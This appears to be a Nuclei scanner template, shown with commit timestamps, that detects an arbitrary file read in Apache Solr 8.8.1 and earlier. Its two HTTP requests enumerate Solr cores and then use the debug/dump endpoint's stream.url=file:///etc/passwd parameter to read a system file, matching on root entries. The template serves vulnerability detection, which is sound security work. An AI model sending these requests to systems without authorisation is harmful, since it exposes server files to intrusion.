nuclei-templates/vulnerabilities/apache/apache-solr-file-read.yaml

41 lines
1.0 KiB
YAML
Raw Normal View History

2021-04-23 10:19:45 +00:00
id: apache-solr-file-read
info:
name: Apache Solr <= 8.8.1 Arbitrary File Read
author: DhiyaneshDk
severity: high
tags: apache,solr,lfi
reference:
- https://twitter.com/Al1ex4/status/1382981479727128580
- https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/
- https://twitter.com/sec715/status/1373472323538362371
requests:
- raw:
- |
GET /solr/admin/cores?wt=json HTTP/1.1
Host: {{Hostname}}
Accept-Language: en
Connection: close
- |
GET /solr/{{core}}/debug/dump?stream.url=file:///etc/passwd&param=ContentStream HTTP/1.1
Host: {{Hostname}}
Accept-Language: en
Connection: close
extractors:
- type: regex
regex:
- '"status"\:\{"(.*?)"\:\{"name"'
name: core
group: 1
internal: true
2021-04-23 12:49:23 +00:00
req-condition: true
matchers:
2021-04-23 12:49:23 +00:00
- type: dsl
dsl:
- 'status_code_2 == 200'
2021-07-24 21:35:55 +00:00
- 'regex("root:.*:0:0:", body_2)'
2021-04-23 12:49:23 +00:00
condition: and